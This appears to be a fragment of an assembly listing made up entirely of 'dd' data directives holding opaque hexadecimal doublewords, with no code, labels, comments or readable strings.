dd 2D01BA0Ah, 6A98F677h, 0A8207A93h, 7BBE0C1Fh, 2149A371h
dd 0EEAAD3Bh, 60880D7Fh, 80BE4696h, 5F60074h, 0D9A051E9h
dd 5A00D8E4h, 9D6CE62h, 197B34C9h, 7198E815h, 5422D838h
dd 43715700h, 4C62B574h, 3E6C00F5h, 5B35D12Ah, 0B0C08810h
dd 399AE9F2h, 0B04E01E3h, 669128CBh, 5FD04005h, 7B60826Ah
dd 61D59AD9h, 39EA0C37h, 20515A24h, 14B97F00h, 173D85A2h
dd 313F0F22h, 1FA053h, 16430C10h, 0DC294F84h, 708D3093h
dd 4808B141h, 799009Bh, 54B6C6DEh, 120C936h, 0DBBB0304h
dd 5998B420h, 0D6D3905h, 0C05F316Ch, 70180A9h, 3D76174h
dd 80B73880h, 0BDB54D17h, 81B36502h, 27638F3Eh, 608BC098h
dd 0BB00A6A2h, 5C888D55h, 689785C8h, 0ECF098EBh, 0BF0A4E09h
dd 0CC8E6AAh, 3008D1F6h, 0D901A8A1h, 0A69CDCC6h, 82417909h
dd 98080062h, 0A0BA104Dh, 8477660Ch, 9FA21F11h, 85757A10h
dd 1808B167h, 447265B2h, 21769624h, 0C41BB6Bh, 0F708818Eh
dd 2210B842h, 84E88463h, 8879A21h, 10AC426Dh, 0E84907Eh
dd 885221B7h, 0AD429B08h, 8A893610h, 8A98306Ch, 2815DC49h
dd 1D40C89h, 53B2DF6Fh, 22EA5B06h, 0FC7F8688h, 80A313F4h
dd 0F720404Fh, 0DA4B3E02h, 7B4EB400h, 0F256F26h, 8C1380F5h
dd 99A5B005h, 0C80CC53Fh, 0E710827h, 3EE08231h, 0ECE6A41h
dd 20BBE1B6h, 0CD4C0F23h, 0C23A0075h, 3BE54D10h, 0BD4C04FCh
dd 0D0F59FB9h, 0BFDA9910h, 0D9DECB1Dh, 86D8CDC5h, 0E5374C30h
dd 88EA602Eh, 81C81109h, 0F07F7526h, 0CF313400h, 7A431706h
dd 0B0630F8Dh, 0C4C00E67h, 0F88C19E7h, 74536E00h, 2617D49Fh
dd 488601A6h, 49E0C892h, 12F1C459h, 1CACA7F2h, 0C3806846h
dd 64EF5D3h, 84ACEC00h, 7C58FC0Bh, 65F43E33h, 0BC439492h
dd 0DDDA0015h, 7187749Dh, 3C38F8F0h, 7F407A4h, 2515E7FEh
dd 8648FC9Fh, 14337F28h, 9A8ED40Fh, 0FB885Eh, 48AE5A54h
dd 0C60ECAE3h, 8ECC0440h, 5CE91EB5h, 9ABE2980h, 1F85005h
dd 0D565FA94h, 3E75062Bh, 20E3A0h, 48683B01h, 9750837Ah
dd 7FF33Ch, 42D37C93h, 0CE0C152Eh, 8CE06689h, 704C6B55h
dd 0A79E750Fh, 521BC694h, 0F2148040h, 0CCF40116h, 7573DE90h
dd 8858D1E7h, 76ACBBB0h, 41704421h, 0CC694F95h, 0D1070AADh
dd 0AC80E29Ch, 10BE6B0h, 362B8ABh, 0D4E1C5CBh, 283F9B48h
dd 80C4805Ah, 0C60722DDh, 0CB3F07BAh, 0F01A48B6h, 0AAA65D67h
dd 66C1800Fh, 0E247E317h, 0E6100CCFh, 0C408785Bh, 4D255700h
dd 17FC6A01h, 0EC31C0C6h, 5F8F6368h, 953F8307h, 3BBD507h
dd 0B0707F98h, 7C6E02Ch, 48B82E18h, 4229607Eh, 0DB005AF5h
dd 0DC9D464Ah, 3B9B47C1h, 2C984E7Fh, 4AA4718Bh, 78286100h
dd 0C0AAECEAh, 0D44706DAh, 0D0E70124h, 200C417Bh, 10D9D56Ah
dd 1EB530C1h, 418DF541h, 0CC2A2490h, 98018046h, 0ACC390F9h
dd 670128D1h, 899442C0h, 98B0ACBFh, 0B0133A0Bh, 0B44E07CCh
dd 0CF43B104h, 0DB95D620h, 101F702Dh, 0C7402A22h, 539D8438h
dd 91B61456h, 15AB449Ah, 84CE99h, 0C23440EFh, 584C61Eh
dd 0F5058AB1h, 758A805Bh, 2500F146h, 4C266F8h, 7FE19Fh
dd 6248A667h, 7D8D9ED9h, 1EFC345Bh, 58D40900h, 610C9D01h
dd 83D0F900h, 0B39CA9C1h, 182201DEh, 0DA48C6EBh, 0F3309B03h
dd 0C1910028h, 78BA2A1Ah, 9802AAFDh, 9FD2FA53h, 14F8C25Fh
dd 91D53884h, 66D2C180h, 61B10547h, 0F8001EE6h, 3A64153h
dd 7F5E403Ch, 37E60339h, 2F4F28FEh, 7D95BA90h, 0C0427E0Eh
dd 40CE621Ch, 30E600ABh, 0AC0045B1h, 0DB698B2Ah, 28DAB709h
dd 21D0165Fh, 56004D97h, 0B8EBA48Dh, 9B5098Ch, 6415B0C0h
dd 415667E0h, 0C8BD509Ch, 1B051D03h, 90B0C0E2h, 0B1AC5938h
dd 2B4FC501h, 580B33B8h, 24913CD0h, 0E00C5488h, 0D9B159BEh
dd 0A39EAB0Fh, 18B200B5h, 1F47A14Ah, 60ED515h, 28AC5267h
dd 916D5A07h, 9D2188A3h, 0CEFC965Eh, 0DBF21D4Eh, 0F04780ECh
dd 0AB863B73h, 7280701Eh, 5CF5E580h, 67C53Ah, 0AFC8CA62h
dd 0A08D5229h, 1EA30A3Ch, 0E440A850h, 9587D038h, 3A5D1020h
dd 0A7160AFh, 1EEF98h, 17E88CD9h, 76402680h, 87FD5C07h
dd 50B09568h, 0BF707Ch, 9AB4C2F4h, 9733EC91h, 980D38C2h
dd 944497E8h, 84003C63h, 417BBECCh, 4F0F9EF0h, 8298D8B6h
dd 9820916Eh, 0CA43190h, 56976E8h, 77E09D21h, 8A00DF0h
dd 6A11044Bh, 6630A37Ah, 9CD3320h, 0EBE01381h, 1B64849Eh
dd 0A8439F10h, 98075B3Fh, 0D73AC5ECh, 20F00386h, 0C8009887h
dd 10E3B84Ch, 1DDA6C97h, 63782BDh, 0D06B8BCBh, 49964712h
dd 0CC0E0E00h, 0DFEC4Eh, 0F7B8AA4Fh, 0D5893417h, 80E8B23Fh
dd 0CCADBAFEh, 609FB45Eh, 0FC9D843Dh, 0A60A76D1h, 0F4D946C3h
dd 26C03A1Dh, 0D63E3222h, 0AEF70090h, 0B5B13409h, 6E0053CDh
dd 0CBA179DEh, 96CF52h, 8165C89Fh, 6A41DA73h, 48E5D730h
dd 7F556CDEh, 39CE67CFh, 311A2067h, 9C3C15DFh, 13BF0F16h
dd 96CD8356h, 73BC398h, 0A9A74548h, 0C739CCACh, 2A03C5F8h
dd 0EAB4389Ah, 0A1BC83ABh, 2081D018h, 0B6C59646h, 0CF3EC411h
dd 9755A700h, 86359E3Ch, 496660ACh, 74FE500Ah, 75F9AA50h
dd 7BE35212h, 84C46F00h, 0E4AC6Eh, 773EE2F1h, 0D21E7599h
dd 644420D0h, 6860A498h, 0B47031C5h, 0C330BC43h, 0C5602721h
dd 80789739h, 14D43E8Bh, 17998C9h, 43E48638h, 3015DD66h
dd 0A83070B1h, 413D18FDh, 0F3C001F8h, 0F591A752h, 73ADF856h
dd 3714B201h, 2931EB5Ah, 3F180E8h, 98CC0F6Ch, 84A467C8h
dd 0B180802Fh, 8200D341h, 80E51C4Ch, 0D57D6Bh, 0C5DB5410h
dd 0F70DB59Eh, 51CC3700h, 0F94AFB99h, 0D2A00EF4h, 21A097B3h
dd 8431903Bh, 53604100h, 0A42C65B5h, 0FF190028h, 0AD67F0F5h
dd 0F300A8D0h, 0E4157E84h, 0EFB05Ch, 0D1B0210h, 3A6C4699h
dd 13005771h, 2D8D9267h, 74C4F32h, 3E04D328h, 3A05852Eh
dd 39670C04h, 81036h, 0B9290B4Ch, 0A2E6FE04h, 49BC1C07h
dd 0A0FE35CDh, 0A64F3CCBh, 0B8E80058h, 8C1B61D9h, 0DB00A410h
dd 42288637h, 7418694Ah, 5FB003Ah, 9321F2C2h, 480F6E77h
dd 20105E36h, 3E3A781Ah, 398B7B09h, 79790188h, 0BCE73803h
dd 0B9B1CA8Eh, 650C6C00h, 0B760CE29h, 0CC5B11E4h, 0F77D0014h
dd 16D8A288h, 0F9FE7A92h, 8DCFBA0Eh, 0F69CA0C8h, 387538E3h
dd 5E03DBF7h, 60CC9594h, 6880BABh, 8B00207Dh, 336D6C8Ah
dd 9287Ah, 0FB1A1E48h, 5569E10Ah, 0E0D3E00h, 0A66CF670h
dd 0D8D102F9h, 956B5F2Dh, 6A3C5E60h, 4B24C400h, 56507FEFh
dd 40330118h, 0A18C80CBh, 27C607Ch, 0FFCA591Fh, 0C1A5F707h
dd 0F22FEF30h, 75090060h, 0F951CD3Ah, 660A17C4h, 0C43D5CB9h
dd 0C074E50Fh, 0C57F09B6h, 0BDE9001Bh, 0FFEB2CAh, 3C01DF9Dh
dd 644ACF9Fh, 0E4502D42h, 0FB5F995Ch, 3893F8h, 0CD4DF9C6h
dd 356E96FDh, 76B7B00h, 4998508Ch, 4F4E00FFh, 3C45286Ch
dd 2C0790C7h, 0E34C272Ah
dd 2E154970h, 0F37717h, 59A7E2A9h, 93DC2B84h, 0FE08A501h
dd 6DB46BF9h, 482B70h, 0EC5A511Ch, 9D2943E5h, 0BF562E00h
dd 636F2685h, 0BACB0FD3h, 52806B3Eh, 413612A3h, 51259600h
dd 27E4471Ah, 13E900BFh, 44E55FF9h, 0AB60536Eh, 0F1E8BEF1h
dd 33033FB0h, 0CE32DB80h, 0B44D304Ch, 0CF9BC900h, 0EC79E9C0h
dd 1798F8B8h, 1D22AEF6h, 94594C16h, 2003DEB0h, 2FC53C16h
dd 0F721D9E3h, 172B1D4h, 79B7F2C8h, 0F249EE64h, 9930A480h
dd 2E00203Bh, 6F623C61h, 6A9D033h, 0D6B8935Eh, 6E00C0F8h
dd 53F3617Dh, 13238388h, 0E2AEADh, 7AE7BEA9h, 640008C0h
dd 9F094241h, 11D31Dh, 0A54C4D2h, 0E9C85A9Ah, 33F74700h
dd 4B5F655Ch, 26D13020h, 5A4225B0h, 0D376BA00h, 4468D975h
dd 0C04E0009h, 0ED85573Ch, 88008ED8h, 1704FE26h, 0E1E654Ch
dd 0CFF5918h, 6E8D95E0h, 640C7C4Fh, 0D836E770h, 75A40002h
dd 8EB33C6Ah, 8000D852h, 865CDDE8h, 0F8F1FDh, 0BA4D8D58h
dd 75ECC499h, 37AD2F00h, 0AD816EDh, 0B8C94E15h, 0F0074DFh
dd 0B907380Dh, 44F93Dh, 0C3CD5A9Fh, 4878B18h, 9E31A901h
dd 0B9EAB786h, 0B011E443h, 3AE7AF0h, 9213E7EFh, 67E81E5Eh
dd 9009A65h, 732B88FDh, 0C76B1F2h, 2E54E6F3h, 280FF411h
dd 184960Dh, 0D9DF660Ah, 4B979424h, 7473FC76h, 52B71907h
dd 51D075DEh, 1ECA05Ch, 17622A72h, 80D0F38Bh, 0F4D8E588h
dd 3FACDB0h, 263B2D2Eh, 6804A872h, 0D842FB8h, 4370EC87h
dd 1EE4DE15h, 81A6E23Ch, 297C3873h, 0ECE44004h, 9000FD7Fh
dd 8BD45E0h, 4287DA1h, 3606488Ch, 0C35FC4E6h, 2FE84FE9h
dd 3C00CD93h, 7AEF380h, 0E6BA98A2h, 0C3240ED1h, 6206B1Dh
dd 44BB93BDh, 20EFCE00h, 0F15A774Dh, 89E63Ah, 40CA81C5h
dd 731A7BEh, 0C301C2F0h, 7A5C3B11h, 8850ACAFh, 590CE7h
dd 0A8CCEFB4h, 0FD7928F0h, 0BA199513h, 2005C400h, 184DB5h
dd 0C426AFD6h, 9879CC58h, 9E703800h, 0BA20EE9Ah, 0DCAA1941h
dd 0D80F3034h, 0C006435h, 242C29CBh, 7517C5A3h, 85FC00E3h
dd 31F3C4Bh, 0C700F306h, 0F74E4A39h, 170E32h, 0D68F2787h
dd 0F65B7815h, 2652ED01h, 0C0287748h, 0A54B8C40h, 43E0159h
dd 0A742A1E2h, 30683580h, 900093D3h, 7C23DCB8h, 14C9CC52h
dd 80111D4h, 29275700h, 0D7468854h, 9882A426h, 1A7EB205h
dd 175C53C0h, 5F090438h, 906A782Fh, 9F559C28h, 2A81A300h
dd 76020864h, 98C97D87h, 0C68901E0h, 4304A950h, 0ADB06491h
dd 2C590F00h, 25BD69DDh, 0C079FAA0h, 6DF4CA41h, 1503EC09h
dd 8B703921h, 0AA9188B6h, 81BF007Eh, 0BE52E254h, 0FE000CE1h
dd 0C2826432h, 392926h, 2B22A074h, 84ED5085h, 709BE900h
dd 0A558D8FCh, 533E004h, 877DF064h, 0E3C3C7F4h, 0B58A5B0Fh
dd 0E3663AC0h, 0D3C9A61Ch, 6449F7C0h, 0D1EDFCh, 27770DD2h
dd 3623120h, 0AB00FFFCh, 9F614EA5h, 0AD997Ah, 131A0539h
dd 0A0174A68h, 0C810B900h, 0A4D87838h, 0BA650FCEh, 0BFCAA1Dh
dd 0E400F37Ah, 4DE70D1Fh, 0E557D600h, 4ADD2646h, 0B1290302h
dd 0E4B6CF47h, 9D07287Ah, 0D1F2ECEDh, 0DAC0DF5Eh, 0C374106Ah
dd 4E6B0036h, 9B9F96F6h, 0FFFEA859h, 0D0342800h, 0C549B882h
dd 60AA00B0h, 6625ADDCh, 6D01DDC3h, 46A8170Fh, 0C460FE1Fh
dd 6AE002AFh, 0BCE4BDEh, 90AEBD40h, 0DC63601h, 6887515Fh
dd 0CC4B1D4h, 3372296Fh, 0AC38D148h, 0A31B9E32h, 47510B83h
dd 709CE8A9h, 0A4384896h, 9BB6C000h, 527F4B8Dh, 1164C00h
dd 0C9DA333Bh, 0C3A0A0EAh, 8FA400FAh, 41B6C75Ah, 2E0EEFBDh
dd 40ED95AEh, 76AA9D4Fh, 1537012Fh, 0ED207D7h, 360CC44Eh
dd 6E11B300h, 9F1C0F3Dh, 1ED79CAh, 590339C2h, 202FC46Bh
dd 0D9E0A580h, 1EF46C02h, 409B3531h, 3F3F3D5Eh, 2873943h
dd 87328F18h, 0FC468063h, 0D903480Ch, 2658F32Dh, 0FE8898B5h
dd 8B3B39F6h, 285C7000h, 480E5B5Ah, 0B6C99900h, 0A955F018h
dd 6209852h, 6BD16987h, 2FF0803Ah, 0BE11B71Fh, 0C9E68F80h
dd 3B2C52FCh, 0CC0D6AC4h, 6440B24Eh, 7800AB40h, 15F40C80h
dd 58AC49F8h, 3B00C844h, 43A59903h, 5E036863h, 70D69A14h
dd 0CA28C0ACh, 507B49h, 55C5C891h, 6844AD77h, 0B0FF241Fh
dd 0D5CA8F40h, 9C5E65h, 0AC666E1Fh, 0F29F8CEEh, 0C6A32A00h
dd 6AEBAB3Eh, 0E08F0665h, 0FE2BD039h, 66C2691Eh, 9F047987h
dd 0D91E00CFh, 73B8895Eh, 32E443h, 0FE5C3712h, 827DAF5h
dd 78912C00h, 2F4492D6h, 0D3100189h, 75AB283Dh, 2B0EFC7Bh
dd 4B0B6276h, 0BC029Fh, 0E3DE609Eh, 39BE806h, 0CEAA67F0h
dd 6A8987EDh, 820DD952h, 35B54694h, 65AC8022h, 3A61849Eh
dd 0BA8E5730h, 29A03694h, 0E5072AB5h, 0A29CA400h, 2013E1A0h
dd 0A64F003Dh, 370C7DF4h, 0B603DBB3h, 2C4CD70Dh, 0E057A7FCh
dd 6FEFCC60h, 75F218CEh, 534F6001h, 57569C03h, 0A8AAA8BCh
dd 92A604Ah, 0C8E8120Bh, 15476C21h, 40F221B3h, 0E182072Eh
dd 5E0F57EEh, 0C0385D3Fh, 13F34EC9h, 6C920065h, 0B6A7499Ch
dd 5709AE36h, 613B715Fh, 0D121EA24h, 0B0B0884Bh, 4C39DE41h
dd 9D1A80EFh, 14581885h, 8A86047Bh, 0B25602BAh, 2F77E070h
dd 31B73220h, 1760EC51h, 4E901591h, 0FC6C0407h, 0D04059C1h
dd 3E8844A8h, 9896D48h, 0DC8F5251h, 46890B60h, 846395A6h
dd 0D98D3738h, 106462FEh, 17C40F54h, 5B4F9A3Dh, 694F2018h
dd 65890662h, 1E47497h, 548BC9B1h, 710893ADh, 0FF233840h
dd 0ACD6Dh, 941383E4h, 9BD9812Fh, 2DA9661Ch, 0D64CEF40h
dd 6F16631Fh, 11C8D03Bh, 0B5567031h, 8EF139CFh, 3F601300h
dd 0F6F13393h, 2465F23Ah, 0E580408Fh, 0FD694845h, 0AAC21828h
dd 6EF9198Bh, 0CD9D800h, 0B8AE8830h, 0E19A0369h, 8D3C3F87h
dd 0FF36823h, 0C87F12F9h, 0BC6291BBh, 480002Fh, 120E9913h
dd 3782DCDh, 0C0E6A461h, 0F706FFBh, 0B08F0DC2h, 37B782C2h
dd 459ED8A0h, 0A242A78h, 0B21FD984h, 689108F2h, 1C2FE34h
dd 18C0ED76h, 409698CBh, 4CF54C8h, 0F93E59E6h, 87701827h
dd 616FBC18h, 2DB490B5h, 4E34487Fh, 0A317804h, 3C331D4Ch
dd 87F3210Ch, 91F876h, 3911AE50h, 0D5EFFA28h, 312E98A9h
dd 4C8DCDD8h, 28C55C4h, 3F611357h, 7919664Bh, 4882EE10h
dd 6C416706h, 0AB09A01h, 276D064Eh, 743E02F8h, 88093F79h
dd 1E8C80A5h, 4C854003h, 8280D442h, 36AD8429h, 44C011DDh
dd 2760ECC2h, 0AEBD00A5h, 0A869A198h, 780110F7h, 84F91C14h
dd 18899987h, 44219890h, 0E8856FA0h, 5C526083h, 2279F1F8h
dd 0ED122B0Ch, 0B04E5106h, 0B889CFB2h, 391B4DD0h, 2C8A8445h
dd 87B43259h, 11630D11h, 3018C265h, 0EB5098DAh, 6C2A3EA8h
dd 5A02E481h, 6414C432h, 24B484AEh, 62134060h, 29033F23h
dd 7F370044h, 6AAE7748h, 2126DA00h, 3FFCA1D2h, 326B28BCh
dd 845E09B0h, 88E92E35h, 0D6EC2463h, 9C2BB13Fh, 0F403CEE1h
dd 1EE7A505h, 1F013592h, 0E882BB19h, 3E84B28Dh, 85C49447h
dd 0FAE5B260h, 0EDCBC60Bh, 0F4588ACEh, 12EB9742h, 0D80C0B5h
dd 0B7FC7101h, 3A7A135Ah, 0A04C0AADh, 27BE80F8h, 0FE8688F0h
dd 51404D00h, 2A3C2873h, 5E4C0063h, 61BE59BAh, 0C41D0A6Eh
dd 8C11422Bh, 20B4A913h, 0A10E4E80h, 40F42E51h, 15ADACCCh
dd 0CE42A800h, 7EB59A09h, 14A3002Ch, 286AE5D7h, 0F80EBFEAh
dd 8680EE67h, 7B20CE11h
dd 3DEC00E1h, 0D652E6D0h, 0F11CC6CDh, 72DE3B5Fh, 0EC40B71Fh
dd 2BBE605Ah, 0F0B403A3h, 74C2F32Ch, 0DE004078h, 4951ED04h
dd 37E057DAh, 5C08DBF1h, 9B03BE21h, 0EA34F7EFh, 0FB64E84Fh
dd 0C4F259h, 0AF3CC6F2h, 8FA3AB9Bh, 0CFE8460Ch, 6CA18D7h
dd 3DBF192Ah, 9C0010DAh, 0A0AF3B75h, 1D1B6116h, 0D5E4AEFh
dd 0F5202A98h, 0F58D60DDh, 1A3FA107h, 69D008D4h, 30DEA872h
dd 0D659A2BFh, 0FF078F63h, 423F427h, 5AC99F30h, 7C6D0030h
dd 88A27ACFh, 4B009A36h, 4DB6BA49h, 51666A3h, 6E942029h
dd 9128039h, 0EC00D108h, 0FF437D1Bh, 30CBA59Eh, 0FCC8897Ch
dd 2400FAF7h, 0F241ABDCh, 0C0D04D94h, 10E83AF1h, 741FA593h
dd 54E68A6h, 2AB9867Ah, 0D0480020h, 4BD3E210h, 6A00699Ah
dd 0F512CDFCh, 7E5CDCCBh, 0F4E9EAE8h, 78CE00F9h, 0B59D3C2Dh
dd 507B947h, 23B7DEEBh, 0E0894AC3h, 74462B6Ah, 4D1A0ADBh
dd 7A83CC7h, 40481201h, 0AD1EB268h, 0A619D160h, 0F4CF97F1h
dd 46EE07B0h, 163EA850h, 85732118h, 56769700h, 0BC38B3ABh
dd 0E3A914A6h, 79B8C0h, 0EA04832Ah, 685123CBh, 0F3F43B2Eh
dd 52DBC603h, 0DAE009F5h, 86008C12h, 0ECE73C1h, 9D86891Dh
dd 5A11118h, 872E009Bh, 45699051h, 0FEFCCE64h, 68481800h
dd 14DCC13Eh, 5168C00Ah, 9806BA1h, 60266487h, 0D513FFh
dd 34DD3758h, 0AC354374h, 7F977504h, 1C90769Ah, 15467EFh
dd 0A12F2931h, 52DA68BCh, 93306CA0h, 1F2D1197h, 51D484C0h
dd 97E48B00h, 803A4031h, 547CA486h, 9E025E80h, 17BA4A69h
dd 17B4456h, 47B2E38Ah, 0FB1C24DBh, 0D75BD200h, 0E413B311h
dd 4D790FB0h, 0E6C1A390h, 0C829E7DFh, 950093F8h, 46829737h
dd 55DDB269h, 808D50AAh, 3991ED2h, 21001950h, 5B970186h
dd 1356617h, 0AC73C247h, 20877603h, 2300D26Ch, 9EFE2A15h
dd 3E163BA9h, 74008308h, 552F7BCh, 21027DABh, 0F24CC972h
dd 47C4C9Bh, 0A5DC112Dh, 0BF68677Ch, 4710D400h, 6409C181h
dd 821A4A01h, 0C9C523D8h, 0F566A181h, 41A56799h, 0CCD94B9Ch
dd 1A0006CBh, 71B843C3h, 4CD02AC0h, 30C01CBDh, 4EA08C3Bh
dd 9A225E43h, 3218DE03h, 0E94EB239h, 0E470759Bh, 5D300C8h
dd 30ABAE14h, 29008487h, 3E40E943h, 504B8D34h, 32B68880h
dd 0DAE1D6EBh, 869E1841h, 0CF26FF59h, 682C4DA9h, 72164223h
dd 1EA18304h, 88CE68D8h, 3B002B7Ch, 31D8C50h, 26285C9Ah
dd 748CC49Fh, 1779746h, 0E2900DCEh, 0E8B37A6Ch, 0D64C2301h
dd 43498208h, 0F53C40AEh, 0A7D734A9h, 5481C1B8h, 91B4214Ah
dd 7C804478h, 6EA0D83Bh, 0D7A5208Ch, 3A00E4E4h, 9B6C1C2Ch
dd 29BD104Fh, 90BF98h, 8F03659Ch, 33E4FA2Dh, 68C01998h
dd 7D322FDAh, 3C2540E8h, 4218D3E4h, 4720302Bh, 1892A7h
dd 36BF09AFh, 0C1EDEE91h, 0D141A530h, 46C4920h, 3FD63BA3h
dd 0E784918Fh, 64200DADh, 0D81E24DCh, 40CCC484h, 497D790h
dd 0ADC903A2h, 0A64667D8h, 7C065C8Bh, 7DA002B3h, 88045490h
dd 0ED2F0C3Ch, 0BE70AB66h, 17FC30E3h, 0D11D4A43h, 0DCA5C410h
dd 7DB3379h, 12180D21h, 0C43224C7h, 8790C84Ah, 11E33301h
dd 0F5E8108Dh, 8822A0D1h, 86696A03h, 1FC5D27Ch, 0F5A10544h
dd 3EB402ACh, 1C407587h, 5903D547h, 7FD2510Fh, 0A109901Dh
dd 0E0F2FDCAh, 0C443F7FDh, 4083C129h, 802F503h, 81642A1h
dd 109E47CDh, 0F43D845Dh, 46981244h, 60517BF9h, 0D1DA79E9h
dd 85002A55h, 31349046h, 0FE25C8h, 0F1565227h, 0D8608E9Ah
dd 0EDECE303h, 910CA1E7h, 7F7095BEh, 0CEF600D4h, 0B2F30E7Ah
dd 0CC00E720h, 0ADAA8C7Dh, 7C8D107h, 0A077E893h, 0D603B037h
dd 8400DAE6h, 2FEB38E5h, 1C829C73h, 80286420h, 5A9ED821h
dd 61004704h, 0E01BE5F2h, 0A23658h, 8068DC2Eh, 98836221h
dd 750F16B8h, 0A4DDFAD8h, 3480889Ch, 987A46AEh, 4F8F0693h
dd 1944EE54h, 85BF5900h, 287A5E14h, 8890CBh, 0CFCDFFB4h
dd 0F82F6F97h, 9B063300h, 0D6E71707h, 0B8E0A045h, 8BF9008Fh
dd 0B5E80864h, 8C018AD7h, 99CB4EADh, 84200EAFh, 81A900CEh
dd 5DE935FBh, 8C00B22Fh, 2D3FA23Dh, 17BBE51h, 5E4953D7h
dd 0C86E4DC3h, 0D6007167h, 51C69F82h, 0DEC142h, 93840D6Ah
dd 0BB06D9A3h, 49891B38h, 0A7220F20h, 6A00B70Bh, 35855A05h
dd 55970003h, 0D85BD9B1h, 78C0DE82h, 7BF0CB91h, 6DFC0078h
dd 4FD0233Eh, 7A00D8E0h, 156F10B0h, 4925DEB9h, 2C3E5056h
dd 0DCACA780h, 2A760D5Bh, 0FF59F905h, 9407AD40h, 1490B2BBh
dd 7E9D4Eh, 0D506F35h, 0D265E30Bh, 0D8449800h, 768C5D40h
dd 0E46FC90h, 79279102h, 0C3CC003Eh, 9FD919F7h, 0C8000EB0h
dd 0AC043EC9h, 162CE253h, 764355Bh, 0C0BDAFF6h, 0F3BCC18Bh
dd 0D3006B76h, 96EB87D8h, 0F769E3h, 9E60B953h, 48440E57h
dd 2302BB72h, 0D6AC2007h, 0CD234041h, 5F7632h, 36ABBE6Fh
dd 5198CE30h, 9E499706h, 58689FEBh, 8A0C90C8h, 2A189624h
dd 3D8871Fh, 0AAB79DC0h, 94DDFEh, 0C2DA8D76h, 3F4B669Ch
dd 449A4D00h, 5F5A23Ah, 0C4310072h, 912A58C0h, 2C01485Ah
dd 896C413Dh, 45206F76h, 9E720039h, 0C8AF8EE9h, 7500B8F2h
dd 0FA3770BDh, 521BE7h, 0ECC2A06Bh, 0E1DE8673h, 91031779h
dd 0F11ABBEBh, 0F809496h, 47B4E0h, 1F806DECh, 0E4AE337Bh
dd 3A621E00h, 0DA73A83Ch, 6AE200F7h, 45CE5A1Bh, 2D1DA57Dh
dd 834F7A37h, 0C03A6EBAh, 53382A22h, 0A21600B3h, 48722789h
dd 43F259Eh, 0E3DD0799h, 6410ACF7h, 581759h, 3BBC1ADEh
dd 0C8391EC6h, 89F0EC00h, 18FCE8A8h, 7D290781h, 0E04E83AAh
dd 112360A1h, 1D0E2C0Eh, 90D18085h, 12B176E6h, 0B1CAAF0Dh
dd 5D7760D4h, 0DD01F924h, 0E5A4003Ch, 0B32F9D73h, 6E103F39h
dd 4BB41780h, 0A3539E6Fh, 0C2EEDD03h, 0E082DF57h, 41F645h
dd 0E8F8E02h, 0FF096C11h, 0B26B9826h, 5D25305h, 0ED74D400h
dd 19A340h, 2C9483DEh, 6DDB2B6Ch, 75A49900h, 38820E58h
dd 1D4E4B6h, 60A034ECh, 200F6AF7h, 22005330h, 90C51329h
dd 0ECEDCDAAh, 7C7612A5h, 0E0A4003Ah, 0CF9C248Bh, 0AD00D377h
dd 0C9EFE627h, 290E4Fh, 4911CCD4h, 0D1F0A110h, 0DF6CA800h
dd 0C035F6C2h, 0DEA500C8h, 526D60E0h, 161D6729h, 807B0B33h
dd 4A026FEh, 3DA89E39h, 6982AEABh, 4D72F2A1h, 0D17CD880h
dd 0A0070475h, 5BE14A2h, 77BCC2B0h, 0DFBF00B7h, 7F628D6h
dd 1F0110E4h, 8F34634Ch, 8EC60AFAh, 464BC0FAh, 5C4359h
dd 0BCCCB222h, 0F117ADFFh, 92AC8A1Ch, 0DE2C4942h, 35E0D553h
dd 3500B9C0h, 0B3EB75B5h, 388CC7Eh, 892B4E8Eh, 0D0B3446Dh
dd 0DF4B85E8h, 62C66100h, 90661468h, 0F7CE006Ah, 74673FB5h
dd 9A05052Bh, 9D0FC979h, 9AED301h, 3FCC93D6h, 0E8840066h
dd 948BEEB6h, 0DA0048D4h, 282B0F39h, 97F38Ch, 0F8A178D3h
dd 76B30E3h, 0A0139h, 38B31762h, 245BCACEh, 785A4Dh, 45DDAE03h
dd 0D1772B1Ch, 0D4C6160Bh, 0F4B70044h, 0AD84FDh, 0BCEF3D34h
dd 22A88C41h, 0DF749E03h, 90F6945Ch, 0B6DBBAh, 60230672h
dd 87B4ABB3h, 7AE8C500h, 0F0A28056h, 22C4009Ch, 0CBAC1A53h
dd 0F200324Ah, 0C063FA7Ch, 3891BDF5h, 720270F9h, 4084CFEFh
dd 0F40D9040h, 9B21B324h, 37081500h, 0C45ADFh, 57AA7014h
dd 6867FF93h, 0F402BE07h, 7740A97Ah, 0F4C16EC0h, 6017FACh
dd 8608E8A4h
dd 0D22472D3h, 240490CEh, 44C89B7Eh, 0BEBD00D7h, 5BB15E0Eh
dd 3C00CFF7h, 8A1E1569h, 237E53h, 1C6BFD52h, 9376357Ah
dd 0AF1F8898h, 9480B920h, 683A9043h, 0F2080088h, 4C0AD67Dh
dd 71004891h, 72B5CC1Fh, 3F60B0h, 39FDE1B8h, 0FFB7501Ch
dd 0E084C0F1h, 769EF813h, 0C7947618h, 49C50CEDh, 8B105363h
dd 9CA093Bh, 80617F9Dh, 0D52DD838h, 0EDA04C3h, 80254495h
dd 1159DC4Ch, 943F20h, 0E39D1D6Ah, 0F74D8435h, 21E226FEh
dd 547AEE00h, 728DFC52h, 40501674h, 5F2C1E24h, 0B895800Bh
dd 7C6848CCh, 3B22A903h, 0A1EB13C1h, 4C200B11h, 5D7B008Dh
dd 54F28189h, 61249539h, 5003AD1Ch, 0AF820319h, 4C567380h
dd 10A000F4h, 154B5E94h, 0FE00579Ah, 1969379h, 0B02524DEh
dd 97AA0148h, 0A6A12C4Eh, 0FEFF603Eh, 2940DA13h, 0C1D84800h
dd 4641DFh, 0F2091AB4h, 1962FD8Eh, 8C9E5C04h, 88D01185h
dd 4A020E6h, 6346943Ah, 9686809Dh, 0FD1D766Ch, 0E17C434h
dd 643A7900h, 13634899h, 369D3h, 7F28AF18h, 700076FBh
dd 2022DD91h, 0C6DD4F4h, 0D52F150Ch, 58005E38h, 0D6B35F99h
dd 92B856h, 0E881DE7Eh, 67FA1EA3h, 0F9D28418h, 4B9350h
dd 34E7CE12h, 7B255541h, 2B0256B8h, 3037A98Dh, 80AC4365h
dd 0E781B84Ch, 4F4A448h, 33820207h, 0E8E080CDh, 0BE77B92Ch
dd 0A8080A1Ch, 724E3480h, 98195EFBh, 7AA42AC4h, 955200C8h
dd 4CA9EBE8h, 90376B38h, 11B0E041h, 0C004AC32h, 2E22DAC8h
dd 8D07C3C9h, 0A36A4E51h, 6F0005Bh, 358E16h, 0C80E7860h
dd 0DB52B771h, 2A12CD00h, 53F88590h, 0E7460386h, 784CC9ECh
